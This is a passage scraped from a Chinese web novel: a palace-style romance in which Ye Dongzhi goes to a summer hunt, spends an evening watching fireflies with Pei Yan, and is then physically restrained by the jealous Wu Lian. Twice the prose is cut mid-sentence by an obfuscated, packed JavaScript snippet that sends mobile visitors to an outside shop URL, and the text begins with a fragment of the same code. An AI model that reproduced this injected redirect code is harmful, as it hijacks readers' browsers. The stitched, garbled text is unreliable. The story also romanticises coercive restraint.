RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一张熟悉的脸在她脑中出现,冷清、端肃,但将这张脸放在梦中那人的脸上,居然意外地契合。 她晃了晃头,甩出这个荒谬的想法。 * 因昨夜的噩梦,叶冬知一整晚睡得并不好。 阿蔷服侍她用过早膳,梳妆时突而说,语气还带着些幸灾乐祸。 “小姐,你是不知道,那被老夫人请来的方小姐,不知哪里惹怒了大公子,今个儿一大早就被赶出府了!” “听门房说,那方小姐好像自己也不知道原因,眼睛都红了,在府门口问大公子是为何,结果大公子说了句话,直接将那方小姐给气哭了!” 叶冬知闻言来了兴致,“哦?他说了什么?” 阿蔷放下玉梳,收了脸色,学着邬涟冷冰冰的语气道:“若要人不知,除非己莫为。” 接着,她继续说,“不过那方小姐貌似是真不知情,她临走时还放了狠话,说大公子这般羞辱她,她要告诉刑部尚书云云。” “奴婢早看她不顺眼了,装得一副乖顺模样,还总是对小姐阴阳怪气,这下走了真是大快人心!” 阿蔷不知缘由,叶冬知却是知道的。 想必是因为昨晚的那碗汤。 以邬涟的性子,断不会容忍,只是他这一番,倒是打了老夫人的脸。 果不其然,食过午膳,她在府内消食。 府内有一片湖,不大,却修得很精致,湖上架了一座拱桥,现下初夏时节,已有不少的荷花含苞待放。 一眼望去,令人心旷神怡。 湖边有几座假山,她正要从假山后面出来,却听见一道声音自拱桥上传来: “怀泽,那方丫头做错了什么,你非得一大早就将人赶出府?” “我这样做,自有我的道理。” 那厢老夫人冷笑一声,“她是我看中的人,品行家世都无可挑剔,你这样,是对我的安排不满意了?” 邬涟的声音也冷了下来,“孙儿并非这个意思,我早就说过,我的婚事不需要他人插手,若是您执意如此,就休怪我不讲情面。” “你!” 老夫人没想到他竟敢这样对自己说话,气得胸膛上下起伏,她顿了一下,忽然又像想起了什么,“你这个年纪还不肯娶妻,莫非真如流言中说的,你被那叶冬知勾了魂了?!” “你要知道,她是你义父未过门的续弦!你怎么敢?” 邬涟神色平静,唯有眼神锐利起来,他沉声,“老夫人,慎言。” 素日她是长辈,是以邬涟待她还算恭敬,可她忘了,面前的男子早已不是十几年前那个需要侯府庇护的孩童,如今永定侯府,还靠他撑着半边。 无形的威势压下来,老夫人唇动了动,终究没敢再说什么,最终只叹了一声。 “罢了,我知你心里有数,那方丫头你不喜欢就算了,只是你将人赶出府确实做得不妥,之后不可再如此鲁莽。” “嗯。” 后面的话叶冬知没再继续听。 她只是有点不解,邬涟明明可以将缘由都告诉老夫人,但他却执意不说,府中下人也像是被敲打过,至今没有传出一点风言风语。 28. 第 28 章 窗外的蝉鸣声越发猖獗,又过了段日子,已经来到了盛夏。 就算是入了夜也觉得燥热,直到后半夜,叶冬知才堪堪睡去。 天光破晓,阿蔷打了温水进屋,将她从榻上扶起来,一边为她梳洗一边道:“小姐,今日不能贪睡了,前些日子圣上下令去西凤山避暑围猎,所有五品以上的大臣随行,家中子女也需跟着去,估摸着大公子他们已经收拾妥当了。” 叶冬知睡眼惺忪,想起来如今皇帝称不上经世之才,倒也不算昏庸之辈,在辅政大臣的辅佐之下,这江山还算坐得平稳,平生最爱赏花踏春、游山玩水。 于是,她点点头,顺着阿蔷,将一切都收拾妥当了,去了府邸门口。 马车停在府门处,紫檀为身,鎏金为饰,车檐悬着一串串莹白珍珠,风动流苏,流光溢彩,若是隔远了望去,便如一座移动的琼楼玉宇。 这才是永定侯府真正的底蕴。 马车宽敞,足以容纳五六个人。 叶冬知掀帘上车时,见车内早已端坐一人。 今日邬涟着了一身石青的锦袍,墨发被玉冠束起,神色一如既往地冷淡。 见她上车,他只堪堪扫过一眼便将视线收回,捧着手中的书卷继续阅读。 叶冬知走过他,寻了最里面的位置坐下。 坐下好一会,邬彦与邬雯二人终于姗姗来迟。 上车后,邬彦径直走到叶冬知的身侧坐下。 邬彦脸皮薄,尽管他竭力掩饰,但脸上的红晕却在他白皙的肤色下明显不已。 人齐了,马车缓缓行驶。 一路上,邬彦将自己平日听来的趣闻一一说与叶冬知听,偶尔说到她感兴趣之处,她也不时应和几句,一来一回,邬彦的兴致越发高涨。 耳畔的欢笑声不绝于耳,邬涟面上看不出分毫,然而手上的书卷却越握越紧。 他唇绷得很紧,突而道:“聒噪。” 原本热闹的车厢一下子安静下来,邬彦与叶冬知齐齐看向邬涟,见他自书卷中抬起眼,眼中墨色很重,他直直盯着叶冬知,又道了几字。 “你坐过来。” 没有缘由,但车内无人敢质疑和反驳。 叶冬知不解地眨眨眼,装作不知道这句话是对她说的,于是故意拿手肘碰了碰邬彦的衣袖,示意他接着往下说。 邬彦反应过来,却不太敢像叶冬知那般自在,但到底不忍心冷落她,只好在邬涟锐利的视线中硬着头皮接着说下来。 车厢内虽然依旧充盈着话语声,但夹杂的气氛显然不如开始一般自然。 渐渐地,邬彦感觉自己身上那道视线前所未有的强烈,比他做错了课业在长兄面前受罚之时还要可怕。 他突然噤了声,将头微微垂了下去。 叶冬知心不在焉地听着,正听到一半发现邬彦没了声响,便下意识抬起头来,与对面的邬涟撞了个正着。 早晨的日头不太盛,晨光透过车帘悄悄照亮一角。 好似熹光也格外眷恋美貌的人,他根根分明的眼睫,以及脸上细腻的绒毛仿佛有光在跳跃。 只是,他的眼神却并不如他的面容一般风光霁月,反而透着黑压压的不悦。 她知道,邬涟这是又生闷气了。 但转念一想她的任务,她又释怀了。 不过她更好奇的是,邬涟现在对她到底有多少真心。 思及此,她也没听他的话坐到他身边去,反而闲闲打量了一下他与邬彦,随即评价道: “二公子今日这身衣裳甚是好看,衬得二公子英姿勃勃。” 邬彦听了,顿时脸红得如有火在烧。 确实,他今日一大早听说叶小姐也去围猎之时,特意打扮了一番。 他红着脸应道:“叶小姐谬......谬赞。” 叶冬知弯弯眼眸,状若无意看了一眼邬涟,却见对方除却方才有几分不悦,这会已经敛了神色,仿佛像没听见她的话一般。 呵。 挺能装。 见他不上套,她也懒得再计较,本来昨夜就睡得不好,到西凤山还得行好几个时辰,正好再睡会。 马车内壁都贴着软靠,靠上去并不会觉得硌得慌。 这一觉,叶冬知睡了整整三个时辰。 醒来的时候已经快到西凤山的山脚。 此处果然是避暑胜地,进山不久,那股燥意便消退不少。 林中鸟鸣阵阵,淡淡的花香缭绕在周遭。 叶冬知赶忙掀起车帘,穿越过来这么久,还是第一次来到这么远的地方,这里山水如画,比之京都的景色大有不同。 邬雯见到叶冬知一脸惊奇的样子,冷哼一声,真是丢人,一副没见过世面的样子。 马车后有“哒哒”的马蹄声传来,很快,一人一马映入叶冬知的眼帘。 少年一身骑装,包裹住劲瘦的身材,宽肩窄腰,双腿修长有力,跨坐在一匹红棕烈马之上,好不嚣张恣意。 “叶小姐!” 清越的少年声音传来,她亦是有些惊喜,“裴公子啊,你也来了。” 裴砚打马停住,继续道,“自上次太子殿下遇险,我们倒是有许久没见了,对了,你的伤势恢复得如何?” 她摸着那处肩头,想起受伤后府中的好药便没断过,因此很快变好了,如今也未留下什么疤痕。 “劳烦裴公子挂念,我已经没事了。” “那就好,我本来还想着得闲的时候去看望你,但府中事务繁多,难以抽出身来。” 叶冬知见他似乎是真为她有些担忧,内心不禁生出几分感慨,她抿唇笑,正欲再说话时,忽闻一声清脆的呼唤: “裴公子!” 她侧目一看,原来是邬雯不知什么时候坐到了她身边,正撩起车帘娇羞地同裴砚打招呼。 裴砚笑着回礼,却并未再多言,他趁着邬雯不注意,对着叶冬知做了个口型,才笑着纵马离开。 等邬雯回过神来,发现裴砚已经走在了前面,从车窗看去只能远远看见一个背影。她失落地叹了口气,随即对着叶冬知语气酸涩地问道:“你什么时候同裴公子走得这般近了?你可得清楚自己的身份。” 叶冬知哪里会不知她的小女儿心思,只道,“朋友而已。” 邬雯自是不信她的话,连着看叶冬知的眼神也愈发不善。 狐媚子,把哥哥的魂勾走了不说,现在又想沾染裴公子,果真是小门小户,不知廉耻。 邬雯还想讽刺两句,然而一直未出声的邬涟突然道:“到了,下车罢。” 叶冬知敏锐地从其中听出了几分不寻常的意味来。 但她现在满心都是对这避暑胜地的好奇,也未将他这句话放在心上。 邬彦邬雯二人坐在外侧,等他们依次下了车,她也迫不及待要跟着下车时,身后的人忽然道: “你与裴砚倒是相熟。” 云淡风轻的口吻,气定神闲的态度,唯有说话时那若有似无的阴阳怪气,昭示着他此刻的心情并不如这景色一般明媚。 但她此刻没心思去琢磨他话里的意思,便只敷衍道:“还行吧,说过几句话。” 说完,她就赶紧下了车,一头钻进了林中。 满山翠绿,郁郁葱葱的山林中开着许多野花,鼻间呼吸的气息都如此清新,不远处的瀑布声传来,夹杂着鸟儿惊飞时的声音。 好不惬意。 车内的邬涟并未急着下车,他的手撩着车帘,看见那窈窕雀跃的身影逐渐跑远,他眸间神色也逐渐沉了下来。 * 西凤山景色昳丽,顶部修有一座行宫,但面积不大,只够皇帝与随行的妃嫔歇息,其余人等皆只能寻平缓之地扎帐篷。 随行的侍卫将叶冬知的帐篷扎好时,已经是傍晚了。 此处正好位于半山腰,周围树木稀疏,是以一眼便可望见硕大的夕阳自面前悠悠落下山去。 山上到底不比府中,夜晚多寒凉,阿蔷将叶冬知卧榻的被褥垫了好几层,才放下心来。 永定侯府一行人的帐篷都扎在一处,这会邬彦邬雯在帐里说话,邬涟因公务在身,早早便没了身影。 吃过晚膳,叶冬知忽闻帐篷外传来几声鸟叫,三长一短。 出了帐篷,看见裴砚正站在一颗树后冲着她招手。 她赶紧避过周围的侍从,将裴砚拉到一处较为隐蔽的地方,“你怎么来了?” 裴砚嘴角带着笑意,“白日时我给你说过的,你忘记了?” 说到这个,叶冬知才想起来似乎他确实给她做过口型,只不过当时没太明白他什么意思。 “啊,想起来了,不过你找我有什么事吗,这里人多眼杂,被别人看见又要说闲话了。” 对此,裴砚倒不在意,“我们又没做什么见不得人的事,身正不怕影子斜,让他们说去呗。” 她摇头,叹了口气。 裴砚是男子,又有个首辅祖父,一般人哪敢说他,只怕被唾沫星子淹死的只有她罢了。 见她神色有些担忧,他正好借机说出来意,“你若是担心被人看到,我们换个地方,我来找你,本来也是打算带你去个好地方。” “好地方?” “对。”少年马尾高束,眉眼间神采飞扬,听她这样问颇有几分自得,“这里我之前来过,有一处山峰景色异常漂亮,你要去看看吗?” 话才出口,似乎又觉得有些孟浪,便又接着解释道,“我家人丁稀少,除却我,便只有姐姐,姐姐身体不好,是以这次围猎也没来,而我与京中少爷小姐们都无甚交情,思来想去也就与你相熟一些,因此才来找你。” 晚上的山间寂静非常,白日的时候叶冬知便知这里景色好,很有些好奇,加之她现下也无玩伴,略一思索,便道: “那走吧。” 语罢,又有些开玩笑,“这林间估计会有些飞禽走兽的,你可得看仔细啊,我这下身家性命可全在你手上了。” 少年莞尔一笑,漂亮的桃花眼弯起,“自然。” 裴砚说的地方着实很美。 这是一处高耸的山峰,视野空旷开阔,在这里,可以看到山顶那处精致的行宫,屋檐下挂起的排排宫灯,燃起的烛火被裹在泛黄的绵纸中,将整座行宫照亮,宛若隐世仙宫。 向下俯瞰,便能看见一座座帐篷,错落有致地扎在各处,散落在郁郁葱葱的密林之中。 再往远处看,能隐约看见皇城的踪迹,黄色的灯火将整座城与周围分割开来。 头顶,是漫天星空,似乎抬手便能触碰到星辰。 裴砚见她站着看得痴了,便寻了一块干净平整的空地,问她:“要不坐着看吧,今日舟车劳顿,应当是有些乏累了。” 语罢,他先坐了下来,但又想到叶冬知毕竟是娇养长大的深闺小姐,他略一思忖,将外袍脱了下来。 叶冬知见他突然脱衣服,吓了一跳,狐疑道:“......你要干什么?” 他立马领悟到身旁女子的意思,一时有些失笑,“怕你嫌脏,才拿了我的衣裳给你垫着,你却怀疑我有别的心思。” 曲解了对方的好意,叶冬知脸皮涨红,低声道:“是我想岔了,对不起啊。” 夜色寂寥,微风徐徐,两人坐在一处。自塞北的边关战事到江南的烟柳小曲,从苗疆的风俗蛊毒到中原的繁华淳朴,所有事物经裴砚的嘴说出来,都别有一番趣味。 叶冬知渐渐听得入了迷,她从到这个世界去的最远的地方,便是京郊,这些地方,她也只从古人的游记、诗词中读过。 她捧着脸看着裴砚,忽而问,“你去过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525171|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么多地方,见过不同的风光,还会甘心留在京城吗?” 闻言,裴砚笑意顿了顿,“怎么会想到问这个?” “有感而发罢了。”她盯着远方,“有时候我倒宁愿自己是个男子,便不会被所谓世俗束缚,若我是你,也许我不会想回到这里。” 说到后面,她语气逐渐低落下来。 是啊,若是没有系统这回事,她还在现代,纵使工作辛苦,但可以想去哪里去哪里,想吃什么吃什么,不用谨守规矩,不必被一句婚约给钉在原地,更不必嫁给一个素不相识的男人。 裴砚听出她语气有些不对劲,不愿她想起伤心往事,忙换了话题,“不说这个了,你看我手里是什么?” 叶冬知看向他的手,只见他的手虚虚握成拳,她好奇地凑过去,见到了一阵微弱的绿光自他掌心散发。 “萤火虫!”她立刻反应过来,惊喜道。 她眼睛在夜色下发亮,像晶莹的琉璃模糊着倒映着他的影子。 “你什么时候抓到的?” 她语气有点惊奇。 裴砚道:“方才。” “可是我并没有看到有萤火虫啊?” 裴砚不语,只是盯着她笑,随即指了指她身后,“你回头看看呢。” 叶冬知顺着他的话扭头,只见一大片萤火虫正打圈飞着,凝聚成一团绿光。 她站起来去抓,却因穿着复杂的裙装而行动有些不便,好几次险些摔倒。 见状,裴砚不由得叮嘱,“你当心些,若是抓不住便算了,你喜欢的话,我给你抓一些带回去。” 少女有些气急地站在萤火虫中,绿色的微光将她整个人照亮,映得她宛若绿野仙子。 她鬓发有些乱了,闻言,朝着裴砚脆生生应道,眼神发亮,在月色的映照下,仿若流动的星河。 “好啊!” 裴砚站在原地,风吹在脸上,明明该是凉的,但他却觉得脸上逐渐发烫起来。 像是早有准备一般,他拿出一个琉璃的瓶子,轻而易举便抓了几只放进去。 掌心大小的瓶子,几缕绿光在其中不知方向地冲撞。 叶冬知抓累了,干脆又坐回了原地。 她拿着瓶子很是稀奇了一会,但她盯了一会,见里面的绿光依旧还在不断地冲撞,盲目地寻找着出口。 片刻,她将瓶口打开,将里面的绿光一一放走。 “怎么放走了?我见你似乎挺喜欢的。” 裴砚坐在她身旁,有些不解。 她手拖着一侧的腮,轻声道:“看过便罢了,它们若是一直被困在小小的瓶子里,该多绝望。” 裴砚失笑,没再多言。 二人望着山中风景,谁都没开口,一时间周遭寂静无声。 一阵绵长均匀的呼吸声逐渐响起。 裴砚侧头看去,见身侧少女不知何时已然睡着了。 她依旧保持着单手撑着脑袋的动作,担心她睡久了不舒服,他犹豫了半晌,最终还是小心翼翼地将她的手放下去,然后半倾着身子,让她的头可以恰好靠在他肩上。 几缕碎发凌乱地落在她的脸侧,他攥了攥手,将头发拨在了她的耳后。 裴砚让她在肩头睡了好一会,直到夜风有些凉意了,他才缓缓动身。 * 与刑部的人议事完已经过了歇息的时间,邬涟有些疲惫,他行至永定侯府的营地,撞见阿蔷正在帐篷外东张西望,面上焦灼明显。 他一身衣袍在昏暗的灯下更为冷峻,眉头微皱,“你家小姐呢?” 阿蔷是有些怵他的,想着不能出卖小姐,便支支吾吾道:“小姐......小姐她出恭去了,叫奴婢在这等她。” 邬涟在刑部浸淫了好几年,早就练成一副火眼金睛,哪能看不出阿蔷是在撒谎。 他并不戳破,只道:“你作为贴身婢女不跟着主子,守在此处有何用,若是遭遇什么不测,你可担待得起?” 三言两语,就让阿蔷吓出了一身冷汗。 她不敢再抬头,垂着头结结巴巴道:“大公子说的是,是奴婢......奴婢考虑不周,奴婢这就去寻小姐。” 说完这番话,阿蔷只盼望着邬涟能赶紧走。 可惜,邬涟站在那并没有要离开的意思,不光如此,他继续淡声道:“我随你去找。” 这下阿蔷真是没有一点办法了,她急的差点哭出来,眼神左右飘忽,但却迟迟不肯动身。 邬涟在一侧不紧不慢地催促,“还不走,是要等到何时?” 阿蔷脸色一白,心一横,打算实话实说,小姐与裴公子出去这么久,若是说她一点不担心一点不怀疑那是不可能的。 她走到邬涟跟前行了个礼,颤颤巍巍道,“大公子,小姐她——” 周身的气氛陡然凝固。 阿蔷说到一半下意识抬头去看,见邬涟转过身去,神色阴晦不明地盯着一处,眼中墨色比黑夜更沉。 她顺着视线看过去,见裴砚只穿着里衣,怀里抱着熟睡的叶冬知,从帐篷后面绕了出来。 而叶冬知的身上搭着一件衣裳。那衣裳,明眼人一看便知是裴砚的。 阿蔷震惊地愣在原地。 与此同时,裴砚自然也看见了等在叶冬知帐篷前的邬涟。 他收敛了平日里温和的笑意,面无表情时有几分冷硬。 裴砚也不打招呼,径直朝着叶冬知的帐篷走过去。 阿蔷明显感觉到周身的氛围不对,两人之间隐隐像是在对峙。 帐篷内的火光跳跃,映在帐篷的粗布之上,将裴砚的身形朦胧地照亮。 邬涟眸色如寒玉,长睫打下一片乌沉沉的阴翳。 他开口,冷硬而不悦。 “裴砚。” “放开她。” 29. 第 29 章 裴砚却无视邬涟的话,将叶冬知交到阿蔷手上,“你家小姐睡熟了,动作轻些,别吵醒她。” 阿蔷愣愣地接过叶冬知,让她半倚在自己身上,动作之间,裴砚盖在叶冬知身上的外裳滑落,露出一截白生生的细颈,上面隐约坠着两点指甲盖大小的红痕。 邬涟眼力极好,纵使隔着一段距离,也看得十分清楚。 他神色陡然沉了下来,威压迫人,眼中的戾色仿若锋利的刀刃。 “你对她做了什么!?” 其实那两点只是被这山里的蚊子咬的,山里蚊子大,加之叶冬知皮肤娇嫩,被咬之后不经意挠了挠,便变成现在这番模样。 印象中的邬涟,冷静少言,便是泰山崩于面前亦能面不改色。 他是天子器重的重臣,是刑部锋芒毕露的一把刀,是永定侯府的半个家主,更是京都众人眼中白璧无瑕的存在。 但此刻,他脸上的神色与一般见到妻子被辱的男子并无分别。 然,对此裴砚却未做解释,只直视着邬涟道:“如你所见。” 话落,裴砚不及反应,脸上便重重挨了一拳。 他被打得后退两步,眼神惊讶地看着邬涟。 不曾想邬涟平日一副清心寡欲、品行高洁,也不好争斗的样子,身手竟这般好,快得他甚至来不及反应。 裴砚伸手,抹去嘴角血迹。 他道,“大公子何故这般生气?” 邬涟收了手,拿帕子拭去手指沾染的血迹,但眼中的冷意并未散去,“叶冬知将是我侯府主母,裴公子清楚自己在做什么吗?” “我这一拳,是替义父。” 听到这句话,裴砚却像是觉得十分好笑,他神色幽幽,“真当是为了永定侯吗?大公子。” 邬涟示意阿蔷将叶冬知先带进去,才对着裴砚反讽道:“邬某原以为裴公子是光明磊落之人,却没想到竟干出这等畜生不如的勾当。” “不知裴老可知?” 裴砚忽地笑了,笑声在夜色里格外爽朗。 他收了笑容,“大公子不愧是圣上钦点的状元,骂起人来也是头头是道,只可惜裴某才疏学浅不如大公子伶牙俐齿。” 帐外氛围如乌云蔽月,榻上安睡的叶冬知翻了个身,却猛然被脑中系统激烈的警报声惊醒。 她迷蒙地坐起来,扫视了周围一圈,见到阿蔷正站在帐门口看着帐外,神色焦急又无可奈何。 【警告!警告!目标人物怒气值攀升,需立即进行安抚!】 【另外,系统检测目标有ooc的趋势,宿主需立即执行任务!】 系统的语气比之前更为严厉,足以证明这次任务的重要性和紧急性。 叶冬知连忙下了榻,几步奔到帐门口,刚要掀帘便听见一句: “大公子虽不肯承认自己的心思,想必侯府众人也能看出来,只怕大公子难以堵住悠悠众口,届时永定侯回来,你当如何交代?” 剑拔弩张的气氛,让人心惊肉跳。 叶冬知心头有些慌,但到底还是稳了稳心神,伸手掀帘而出。 帐外两人听见声音微微转过头来,待叶冬知看清两人的脸时,被吓了一跳。 只见裴砚神色不复平日的温和,带着点嘲讽和不屑,嘴角一块青紫,还有丝丝血迹没有被完全擦干净。 当她的视线落到邬涟面上时,心神狠狠震了一下。 邬涟背对着账内的火光,整个面容被吞噬在昏暗之中,那双眼没有一丝光亮,眸色如泼墨,泛着压抑的狠厉和晦暗。 像是被人一下子戳穿了隐秘的心思,唇紧紧绷着,眼神盯着叶冬知,明明他还未做什么,但她却感到几分莫名的阴冷。 更准确的说,他的眼睛应该是透过她的衣衫盯着那两点不足为道的红印。 心头浮起一阵不详的预感,邬涟这幅样子太过有攻击性,令她竟然不敢与之对视。 但叶冬知很快理清了局势,也在一瞬间想好了对策。 她脊背发毛地强迫自己忽视那逼人的视线,径直走向裴砚,小声道:“你先回去,我会同他解释。” 裴砚落到她面上的目光瞬间温和,过了片刻才道:“好。” 但他刚踏出一步,又回头叮嘱道,“若是发生什么你直接叫我便是,我就在附近。” 说着,他指了指不远处的帐篷。 叶冬知点点头,安抚性地笑了一下。 不过,虽然现在的邬涟看起来心情十分不好的样子,但是他那样克己复礼的人,也应当不会做出什么出格的事情来。 等到裴砚的背影逐渐消失在视线中,叶冬知转过头看着邬涟,冲他温柔一笑,问道:“今日怎的回来这么晚?” 俗话说,伸手不打笑脸人。 但下一刻,叶冬知就明白,邬涟这人,不是正常人。 闻言,他眼瞳漆黑,盯着她看了许久,冷不丁道: “不晚一点回来,也看不见你同裴砚这般亲热。” “亲热”两个字他说得又缓又轻,但她偏偏听出几分意味深长。 叶冬知心里咯噔一声。 今天的事情好像不大好办。 但她向来是一个很会看人脸色,也很识时务的人,当即就软了嗓音,去牵他的袖子,道: “别生气了,我同裴砚只是普通朋友。” 不说还好,这几个字一出,她敏锐地感到周身气温顿时降至冰点。 “普通朋友?” 他的语气明明在笑,可话语却森冷得很。 邬涟扫过她颈间两点刺眼的红印,自喉咙里挤出一声幽长轻呵。 他开口,“叶冬知。” “你知道他对你做了什么?” 这是他第二次唤她的全名,同上一次不同,上一次他羞恼又愤怒,而这一次叶冬知感受不到分毫的羞涩,只有浑身包裹着她的无形冷意。 他语气这般凝重,让她突而生出几分心虚,难不成裴砚真对她做了什么。 她在脑子里飞速回忆方才同裴砚待在一起的场景。 想了半晌,也没想出哪里有出格的地方。 当然在裴砚肩上睡着的事以及后来裴砚抱着她回营地的事,她分毫不知。 见她垂着头不开口,他缓缓呼出口气,问:“怎么,是想不起来,还是说不愿意承认?” 说话间,他的脚步逐渐逼近。 叶冬知不自觉地后退两步,无辜道:“我真不知道。” 邬涟不语,目光定在她白嫩的脖颈间,她越靠近帐篷,那两点印记被火光照着便越发显眼,落在他的眼里便越发刺眼。 他压着眉头,冷声道了四字。 “恬不知耻。” 叶冬知心头的怒气蹿地一下上来。 她明明什么都没做却要遭受他无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525172|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘无故的指责,她心一横,脆声反驳道:“是你内心龌龊,才会看什么都觉得龌龊!” 她说完还没来得及痛快,一抬头发现,邬涟居然笑了。 他很少笑,是以见到他脸上出现这样的神情时,她有些愣住了。 那是一种很奇怪的笑,唇角轻慢地扯开,极轻地上扬,脖颈处的脉络随着他的动作抽动,像一根绷紧到极致的弦。 但他的眼却没有一丝笑意。 无声的沉默中,叶冬知下意识觉得不能再待在这里,于是她掉头就往营帐里跑。 但刚跑开几步,就登时被身后的男人拦腰抱起,随即掀帘入了帐内。 他的手紧紧箍住她的腰肢,手指几乎要陷入她腰侧的软肉之中。 阿蔷傻愣愣站在原地,被邬涟的动作惊得眼珠子都差点掉下来。 随即听得他一声冷呵:“出去。” 阿蔷不敢再待在里面,慌忙钻出了帐篷。 叶冬知一时忘记了反应,但很快发现邬涟进了她的帐篷,还抱着她,她瞬间就急了。 “你干什么!放开我!” 邬涟并不应答,只是将她放在地上,接着在临时的小几上倒了一杯茶水,拿绢帕沾了水,几乎是有些粗暴地扯开她的衣襟。 叶冬知心中警铃大作,她死死扯住自己的衣襟,眼眸刹那蒙上了一层水气,她颤抖着声音,带着压抑不住的慌乱。 “邬涟,你疯了!?” 邬涟不语,眼中墨色不减,轻松拉开她的双手,单手将她两只手腕反剪在身后。 叶冬知欲哭无泪,才突然醒悟。 邬涟根本就不是所谓的正人君子,他骨子里是个疯子,真的会乱来的。 于是她张口大叫,“裴砚!裴砚!” 按理来说,常人遇见这种状况,只会慌张地捂住大叫之人的嘴,但邬涟却置若罔闻,反而淡淡扫了她一眼,语气幽幽,“你若是再叫,我不介意让他看到一些别的什么。” 仅仅一句话,叶冬知就哑了火。 好在他并不像她想的一般,也未脱掉她的衣服,只是将她的领口微微扯开,露出一片白瓷一般的肌肤。 而他拿着那块湿润的绢帕,反复擦拭着那两处红印。 女子肌肤本就娇嫩,直到那片肌肤都红成一团,他也依然未有停手的迹象。 叶冬知感到自己的皮肤像是被火镣烤了一般,火辣辣地疼,她终于忍不住哽咽道:“别擦了,好疼。” 听到这话,邬涟才堪堪罢手。 他收了手,将用过的绢帕丢到一旁,慢条斯理地拿出一块干净的绢帕擦拭着手上的茶渍。 叶冬知无助又委屈,垂着头,眼睛通红地将自己敞开的衣襟整理好。 而对方早就好整以暇地坐在椅子上看着她,眸中还有未褪尽的冷意。 他起身走到她面前,高高在上睥睨着她。 在这处简陋的帐篷里,他纤尘不染、高洁无双,唯有吐出的话昭示着他并不如表象一般清心寡欲、目下无尘。 他的语气冰冷又强势,字字都如重石砸在叶冬知的心上。 “若是再有下次,我不会忍你。” 纵使如此,她并不认为自己有什么地方做错了。 但当务之急,是顺着他,免得再生出什么意外。 “嗯。” 闻言,邬涟眼中的冷意才褪去几分。 30. 第 30 章 二人在帐篷内沉默着,她心头不服,不愿搭理他。 索性就合衣躺在了榻上,不想看他。 锁骨处的肌肤还火辣辣地疼着,她将被子摊开缩进去,整个人弓着身子缩成一团。 邬涟在榻边站了好一会,也未见她从被子里钻出来。 山上夜晚凉,阿蔷给她准备的被子也厚。 又过了半刻钟,她仍一动不动地窝在里面,他垂眸,伸手将被子扯开一点,露出她的发顶。 “别闷着了,把头伸出来。” 不说还好,他一开口,被子里的人又往下缩了缩,还伸手将他掀开的部分也拽走。 他微微挑眉,有些意外。 事到如今,该生气的,不是他吗,怎的她倒是先耍起脾气来了。 接着,被子里传来她闷闷的声音,“我要歇息了,大公子请回。” “我过会自会离去。” 她像是真的生气了,隔着被子有些阴阳怪气道: “可别待在我这里,要重礼守矩知分寸,这可是你自己说的。” “怎么轮到自己就双标了?” 邬涟不语,她倒是伶牙俐齿,也学会拿他的话来堵他。 只是,双标是何意? 他略一思索,也明白过来。 眼见她是真不打算钻出来,他也没再劝阻,只似乎轻轻叹了口气,起身离开了她的帐篷。 帐篷外阿蔷见邬涟走了,立马进去,只见到榻上的人缩成一团。 她忍不住有些担忧,“小姐,出来吧,大公子已经走了。” 闻言,叶冬知才掀开被子,狠狠吸了两口空气。 她从榻上坐起来,头发凌乱,眼尾泛着红,眼睫也挂着还未干透的水渍,明显是哭过的。 阿蔷的视线又落到她微敞的衣襟,那里一片绯红。 顿时,阿蔷的表情已经不能用震惊来形容。 方才大公子那般态度,她便觉得有些奇怪,若是生气愤怒便也罢了,可大公子分明浑身充斥着一股浓浓的怨念。 像是醋了一般。 只不过她也不敢说,眼下小姐这番模样,一看便知道被大公子欺负狠了。 没想到,大公子竟然是个人面兽心的东西,可怜她家小姐无依无靠,被欺负了也不敢怎样。 想到这,阿蔷哽咽着道:“小姐,是奴婢没用,没拦住大公子。” 叶冬知疑惑,“你想到哪里去了,他没把我怎样。” 可阿蔷一听眼泪掉得更凶,“奴婢知道的,奴婢不会说出去的,小姐,等侯爷回来他就不敢了。” 见状,叶冬知也不知说什么,只好借口说自己困了。 * 围猎的第二日,群臣宴饮,直到过了晌午人群才散去。 叶冬知带着阿蔷回到扎帐篷的地方时,发现她原本的帐篷已经消失不见。 她向四周寻找了好一阵,看见长安从不远处过来,恭敬地唤了她一声叶小姐。 他接着道:“叶小姐有所不知,公子担心小姐一个人住在此处会受到一些狂蜂浪蝶的骚扰,所以便擅自做主将叶小姐的帐篷移到与他一处去了。” 叶冬知愕然,昨天的气本就没消,于是嘴上便也不客气,“要他多管闲事,我住得好好的。” 长安嘴角的笑愣了一下,但也未多说,领着她前往帐篷处。 不多时便到了地方,叶冬知一眼便看见了正站在帐外与人攀谈的邬涟。 邬涟也看见了她,但只是草草扫过一眼便收回了目光。 她视线落到她的帐篷上。 这和他的帐篷离得也太近了,除了隔了一层布,几乎可以算是没有距离。 她心中忍不住腹诽。 这么怕她乱来,干脆让她住到他帐篷里去,时时刻刻盯着算了。 她冷着张脸掀帘朝里走去,打算换下繁重裙装。 帐内设有简易的屏风,她走至屏风后,伸手揭开腰间的束缚。 片刻之后,邬涟也进了营帐,先前叶冬知的帐内无人,他便没有发觉帐布是如此的薄,以至于他能隐约能透过帐布看见旁边帐篷内的人影。 虽只是一个极为模糊的影子,但依然能看出起伏。 他驻足盯了一会,青天白日的,他感觉到喉间竟有几分干涩。 他别开视线,专心去看手中的册子。 只是半晌之后,目光又似不经意地游离到方才的影子上。 